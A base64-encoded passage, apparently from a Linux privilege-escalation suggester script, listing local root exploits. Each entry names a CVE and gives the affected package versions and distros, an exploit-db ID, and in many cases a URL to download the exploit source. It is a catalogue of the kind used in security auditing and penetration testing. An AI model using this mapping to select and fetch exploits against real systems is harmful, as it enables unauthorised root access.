mlsZWdlZCB1c2VyIGlzIG5lZWRlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MTcwXSR7dHh0cnN0fSBTeXN0ZW1UYXAKUmVxczogcGtnPXN5c3RlbXRhcCx2ZXI8PTEuMwpUYWdzOiBSSEVMPTV7c3lzdGVtdGFwOjEuMS0zLmVsNX0sZmVkb3JhPTEze3N5c3RlbXRhcDoxLjItMS5mYzEzfQpSYW5rOiAxCmF1dGhvcjogVGF2aXMgT3JtYW5keQpleHBsb2l0LWRiOiAxNTYyMApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMS0xNDg1XSR7dHh0cnN0fSBwa2V4ZWMKUmVxczogcGtnPXBvbGtpdCx2ZXI9MC45NgpUYWdzOiBSSEVMPTYsdWJ1bnR1PTEwLjA0fDEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTc5NDIKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTEtMjkyMV0ke3R4dHJzdH0ga3RzdXNzClJlcXM6IHBrZz1rdHN1c3MsdmVyPD0xLjQKVGFnczogc3Bhcmt5PTV8NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDExLzA4LzEzLzIKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTEtMjkyMS9rdHN1c3MtbHBlLnNoCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTA4MDldJHt0eHRyc3R9IGRlYXRoX3N0YXIgKHN1ZG8pClJlcXM6IHBrZz1zdWRvLHZlcj49MS44LjAsdmVyPD0xLjguMwpUYWdzOiBmZWRvcmE9MTYgClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLzIwMTIvSmFuL2F0dC01OTAvYWR2aXNvcnlfc3Vkby50eHQKZXhwbG9pdC1kYjogMTg0MzYKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDQ3Nl0ke3R4dHJzdH0gY2hrcm9vdGtpdApSZXFzOiBwa2c9Y2hrcm9vdGtpdCx2ZXI8MC41MApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE0L3EyLzQzMApleHBsb2l0LWRiOiAzMzg5OQpDb21tZW50czogUm9vdGluZyBkZXBlbmRzIG9uIHRoZSBjcm9udGFiICh1cCB0byBvbmUgZGF5IG9mIGRlbGF5KQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC01MTE5XSR7dHh0cnN0fSBfX2djb252X3RyYW5zbGl0X2ZpbmQKUmVxczogcGtnPWdsaWJjfGxpYmM2LHg4NgpUYWdzOiBkZWJpYW49NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvbS8yMDE0LzA4L3RoZS1wb2lzb25lZC1udWwtYnl0ZS0yMDE0LWVkaXRpb24uaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy8zNDQyMS50YXIuZ3oKZXhwbG9pdC1kYjogMzQ0MjEKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTg2Ml0ke3R4dHJzdH0gbmV3cGlkIChhYnJ0KQpSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MjAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMzE1XSR7dHh0cnN0fSByYWNlYWJydApSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MTl7YWJydDoyLjEuNS0xLmZjMTl9LGZlZG9yYT0yMHthYnJ0OjIuMi4yLTIuZmMyMH0sZmVkb3JhPTIxe2FicnQ6Mi4zLjAtMy5mYzIxfSxSSEVMPTd7YWJydDoyLjEuMTEtMTIuZWw3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvMTMwCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvL2ZlMzU5MDA2ODM2ZDZjZDEwOTFlL3Jhdy8zMmZlODQ4MWM0MzRmOGNhZDViY2Y4NTI5Nzg5MjMxNjI3ZTUwNzRjL3JhY2VhYnJ0LmMKZXhwbG9pdC1kYjogMzY3NDcKYXV0aG9yOiBUYXZpcyBPcm1hbmR5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTEzMThdJHt0eHRyc3R9IG5ld3BpZCAoYXBwb3J0KQpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzE4XSR7dHh0cnN0fSBuZXdwaWQgKGFwcG9ydCkgMgpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQuMgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CmV4cGxvaXQtZGI6IDM2NzgyCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyMDJdJHt0eHRyc3R9IGZ1c2UgKGZ1c2VybW91bnQpClJlcXM6IHBrZz1mdXNlLHZlcjwyLjkuMwpUYWdzOiBkZWJpYW49Ny4wfDguMCx1YnVudHU9KgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvNTIwCmV4cGxvaXQtZGI6IDM3MDg5CkNvbW1lbnRzOiBOZWVkcyBjcm9uIG9yIHN5c3RlbSBhZG1pbiBpbnRlcmFjdGlvbgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xODE1XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdApSZXFzOiBwa2c9c2V0cm91Ymxlc2hvb3QsdmVyPDMuMi4yMgpUYWdzOiBmZWRvcmE9MjEKUmFuazogMQpleHBsb2l0LWRiOiAzNjU2NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMjQ2XSR7dHh0cnN0fSB1c2VyaGVscGVyClJlcXM6IHBrZz1saWJ1c2VyLHZlcjw9MC42MApUYWdzOiBSSEVMPTZ7bGlidXNlcjowLjU2LjEzLSg0fDUpLmVsNn0sUkhFTD02e2xpYnVzZXI6MC42MC01LmVsN30sZmVkb3JhPTEzfDE5fDIwfDIxfDIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTUvMDcvMjMvY3ZlLTIwMTUtMzI0NS1jdmUtMjAxNS0zMjQ2L2N2ZS0yMDE1LTMyNDUtY3ZlLTIwMTUtMzI0Ni50eHQgCmV4cGxvaXQtZGI6IDM3NzA2CkNvbW1lbnRzOiBSSEVMIDUgaXMgYWxzbyB2dWxuZXJhYmxlLCBidXQgaW5zdGFsbGVkIHZlcnNpb24gb2YgZ2xpYmMgKDIuNSkgbGFja3MgZnVuY3Rpb25zIG5lZWRlZCBieSByb290aGVscGVyLmMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtNTI4N10ke3R4dHJzdH0gYWJydC9zb3NyZXBvcnQtcmhlbDcKUmVxczogcGtnPWFicnQsY21kOmdyZXAgLXFpIGFicnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogUkhFTD03e2FicnQ6Mi4xLjExLTEyLmVsN30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xCnNyYy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xLzEKZXhwbG9pdC1kYjogMzg4MzIKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS02NTY1XSR7dHh0cnN0fSBub3RfYW5fc3NobnVrZQpSZXFzOiBwa2c9b3BlbnNzaC1zZXJ2ZXIsdmVyPj02LjgsdmVyPD02LjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI2LzIKZXhwbG9pdC1kYjogNDExNzMKYXV0aG9yOiBGZWRlcmljbyBCZW50bwpDb21tZW50czogTmVlZHMgYWRtaW4gaW50ZXJhY3Rpb24gKHJvb3QgdXNlciBuZWVkcyB0byBsb2dpbiB2aWEgc3NoIHRvIHRyaWdnZXIgZXhwbG9pdGF0aW9uKQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjEyXSR7dHh0cnN0fSBibHVlbWFuIHNldF9kaGNwX2hhbmRsZXIgZC1idXMgcHJpdmVzYwpSZXFzOiBwa2c9Ymx1ZW1hbix2ZXI8Mi4wLjMKVGFnczogZGViaWFuPTh7Ymx1ZW1hbjoxLjIzfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly90d2l0dGVyLmNvbS90aGVncnVncS9zdGF0dXMvNjc3ODA5NTI3ODgyODEzNDQwCmV4cGxvaXQtZGI6IDQ2MTg2CmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTEyNDBdJHt0eHRyc3R9IHRvbWNhdC1yb290cHJpdmVzYy1kZWIuc2gKUmVxczogcGtnPXRvbWNhdApUYWdzOiBkZWJpYW49OCx1YnVudHU9MTYuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL1RvbWNhdC1EZWJQa2dzLVJvb3QtUHJpdmlsZWdlLUVzY2FsYXRpb24tRXhwbG9pdC1DVkUtMjAxNi0xMjQwLmh0bWwKc3JjLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvdG9tY2F0LXJvb3Rwcml2ZXNjLWRlYi5zaApleHBsb2l0LWRiOiA0MDQ1MAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBBZmZlY3RzIG9ubHkgRGViaWFuLWJhc2VkIGRpc3Ryb3MKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTI0N10ke3R4dHJzdH0gbmdpbnhlZC1yb290LnNoClJlcXM6IHBrZz1uZ2lueHxuZ2lueC1mdWxsLHZlcjwxLjEwLjMKVGFnczogZGViaWFuPTgsdWJ1bnR1PTE0LjA0fDE2LjA0fDE2LjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9OZ2lueC1FeHBsb2l0LURlYi1Sb290LVByaXZFc2MtQ1ZFLTIwMTYtMTI0Ny5odG1sCnNyYy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi0xMjQ3L25naW54ZWQtcm9vdC5zaApleHBsb2l0LWRiOiA0MDc2OAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBSb290aW5nIGRlcGVuZHMgb24gY3Jvbi5kYWlseSAodXAgdG8gMjRoIG9mIGRlbGF5KS4gQWZmZWN0ZWQ6IGRlYjg6IDwxLjYuMjsgMTQuMDQ6IDwxLjQuNjsgMTYuMDQ6IDEuMTAuMDsgZ2VudG9vOiA8MS4xMC4yLXIzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTE1MzFdJHt0eHRyc3R9IHBlcmxfc3RhcnR1cCAoZXhpbSkKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTU0OQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xNTMxXSR7dHh0cnN0fSBwZXJsX3N0YXJ0dXAgKGV4aW0pIDIKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTUzNQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00OTg5XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdCAyClJlcXM6IHBrZz1zZXRyb3VibGVzaG9vdApUYWdzOiBSSEVMPTZ8NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jLXNraWxscy5ibG9nc3BvdC5jb20vMjAxNi8wNi9sZXRzLWZlZWQtYXR0YWNrZXItaW5wdXQtdG8tc2gtYy10by1zZWUuaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vc3RlYWx0aC90cm91Ymxlc2hvb3Rlci9yYXcvbWFzdGVyL3N0cmFpZ2h0LXNob290ZXIuYwpleHBsb2l0LWRiOgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01NDI1XSR7dHh0cnN0fSB0b21jYXQtUkgtcm9vdC5zaApSZXFzOiBwa2c9dG9tY2F0ClRhZ3M6IFJIRUw9NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9Ub21jYXQtUmVkSGF0LVBrZ3MtUm9vdC1Qcml2RXNjLUV4cGxvaXQtQ1ZFLTIwMTYtNTQyNS5odG1sCnNyYy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL3RvbWNhdC1SSC1yb290LnNoCmV4cGxvaXQtZGI6IDQwNDg4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFmZmVjdHMgb25seSBSZWRIYXQtYmFzZWQgZGlzdHJvcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi02NjYzLENWRS0yMDE2LTY2NjR8Q1ZFLTIwMTYtNjY2Ml0ke3R4dHJzdH0gbXlzcWwtZXhwbG9pdC1jaGFpbgpSZXFzOiBwa2c9bXlzcWwtc2VydmVyfG1hcmlhZGItc2VydmVyLHZlcjw1LjUuNTIKVGFnczogdWJ1bnR1PTE2LjA0LjEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL015U1FMLU1hcmlhLVBlcmNvbmEtUHJpdkVzY1JhY2UtQ1ZFLTIwMTYtNjY2My01NjE2LUV4cGxvaXQuaHRtbApzcmMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi02NjYzL215c3FsLXByaXZlc2MtcmFjZS5jCmV4cGxvaXQtZGI6IDQwNjc4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsc28gTWFyaWFEQiB2ZXI8MTAuMS4xOCBhbmQgdmVyPDEwLjAuMjggYWZmZWN0ZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtOTU2Nl0ke3R4dHJzdH0gbmFnaW9zLXJvb3QtcHJpdmVzYwpSZXFzOiBwa2c9bmFnaW9zLHZlcjw0LjIuNApUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvTmFnaW9zLUV4cGxvaXQtUm9vdC1Qcml2RXNjLUNWRS0yMDE2LTk1NjYuaHRtbApzcmMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvQ1ZFLTIwMTYtOTU2Ni9uYWdpb3Mtcm9vdC1wcml2ZXNjLnNoCmV4cGxvaXQtZGI6IDQwOTIxCmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsbG93cyBwcml2IGVzY2FsYXRpb24gZnJvbSBuYWdpb3MgdXNlciBvciBuYWdpb3MgZ3JvdXAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMDM1OF0ke3R4dHJzdH0gbnRmcy0zZy1tb2Rwcm9iZQpSZXFzOiBwa2c9bnRmcy0zZyx2ZXI8MjAxNy40ClRhZ3M6IHVidW50dT0xNi4wNHtudGZzLTNnOjIwMTUuMy4xNEFSLjEtMWJ1aWxkMX0sZGViaWFuPTcuMHtudGZzLTNnOjIwMTIuMS4xNUFSLjUtMi4xK2RlYjd1Mn0sZGViaWFuPTguMHtudGZzLTNnOjIwMTQuMi4xNUFSLjItMStkZWI4dTJ9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTA3MgpzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy80MTM1Ni56aXAKZXhwbG9pdC1kYjogNDEzNTYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuIExpbnV4IGhlYWRlcnMgbXVzdCBiZSBpbnN0YWxsZWQuIFN5c3RlbSBtdXN0IGhhdmUgYXQgbGVhc3QgdHdvIENQVSBjb3Jlcy4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTg5OV0ke3R4dHJzdH0gcy1uYWlsLXByaXZnZXQKUmVxczogcGtnPXMtbmFpbCx2ZXI8MTQuOC4xNgpUYWdzOiB1YnVudHU9MTYuMDQsbWFuamFybz0xNi4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcvMQpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy01ODk5L2V4cGxvaXQuc2gKYXV0aG9yOiB3YXBpZmxhcGkgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2N10ke3R4dHJzdH0gU3Vkb2VyLXRvLXJvb3QKUmVxczogcGtnPXN1ZG8sdmVyPD0xLjguMjAsY21kOlsgLWYgL3Vzci9zYmluL2dldGVuZm9yY2UgXQpUYWdzOiBSSEVMPTd7c3VkbzoxLjguNnA3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc3Vkby53cy9hbGVydHMvbGludXhfdHR5Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA1LzMwL2N2ZS0yMDE3LTEwMDAzNjcvbGludXhfc3Vkb19jdmUtMjAxNy0xMDAwMzY3LmMKZXhwbG9pdC1kYjogNDIxODMKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IE5lZWRzIHRvIGJlIHN1ZG9lci4gV29ya3Mgb25seSBvbiBTRUxpbnV4IGVuYWJsZWQgc3lzdGVtcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY3XSR7dHh0cnN0fSBzdWRvcHduClJlcXM6IHBrZz1zdWRvLHZlcjw9MS44LjIwLGNtZDpbIC1mIC91c3Ivc2Jpbi9nZXRlbmZvcmNlIF0KVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnN1ZG8ud3MvYWxlcnRzL2xpbnV4X3R0eS5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jMGQzejNyMC9zdWRvLUNWRS0yMDE3LTEwMDAzNjcvbWFzdGVyL3N1ZG9wd24uYwpleHBsb2l0LWRiOgphdXRob3I6IGMwZDN6M3IwCkNvbW1lbnRzOiBOZWVkcyB0byBiZSBzdWRvZXIuIFdvcmtzIG9ubHkgb24gU0VMaW51eCBlbmFibGVkIHN5c3RlbXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcwXSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvc3RhY2stY2xhc2gudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9saW51eF9sZHNvX2h3Y2FwLmMKZXhwbG9pdC1kYjogNDIyNzQKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUsIHdvcmtzIGFnYWluc3QgbW9zdCBTVUlELXJvb3QgYmluYXJpZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcxXSR7dHh0cnN0fSBsaW51eF9sZHNvX2R5bmFtaWMKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczogZGViaWFuPTl8MTAsdWJ1bnR1PTE0LjA0LjV8MTYuMDQuMnwxNy4wNCxmZWRvcmE9MjN8MjR8MjUKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29fZHluYW1pYy5jCmV4cGxvaXQtZGI6IDQyMjc2CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlLCB3b3JrcyBhZ2FpbnN0IG1vc3QgU1VJRC1yb290IFBJRXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzc5XSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwXzY0ClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2XzY0ClRhZ3M6IGRlYmlhbj03Ljd8OC41fDkuMCx1YnVudHU9MTQuMDQuMnwxNi4wNC4yfD